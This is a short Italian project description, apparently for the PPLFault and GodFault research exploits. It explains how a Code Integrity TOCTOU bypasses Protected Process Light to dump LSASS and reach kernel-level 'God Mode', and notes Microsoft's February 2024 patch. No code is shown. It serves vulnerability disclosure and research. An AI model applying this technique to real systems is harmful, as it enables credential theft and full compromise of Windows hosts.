Exploit di escalation dei privilegi di Windows che abusa di un TOCTOU in Code Integrity per bypassare Protected Process Light, eseguire come WinTcb-Light e dumpare i processi protetti (es. LSASS).

AGGIORNAMENTO 2024-02: Microsoft ha corretto PPLFault il 2024-02-13. Vedi questo thread per la discussione correlata.
Sfrutta un TOCTOU in Windows Code Integrity per ottenere l'esecuzione arbitraria di codice come WinTcb-Light e poi eseguire il dump di un processo specificato. Per maggiori dettagli sull'exploit, vedi le mie slide e/o il talk.

Sfrutta lo stesso TOCTOU di PPLFault. Tuttavia, invece di eseguire il dump di un processo, migra verso CSRSS e sfrutta una vulnerabilità in win32k!NtUserHardErrorControlCall di ANGRYORCHARD per decrementare KTHREAD.PreviousMode da UserMode (1) a KernelMode (0). Dimostra l'accesso "God Mode" aprendo \Device\PhysicalMemory, normalmente inaccessibile da UserMode, come SECTION_ALL_ACCESS.
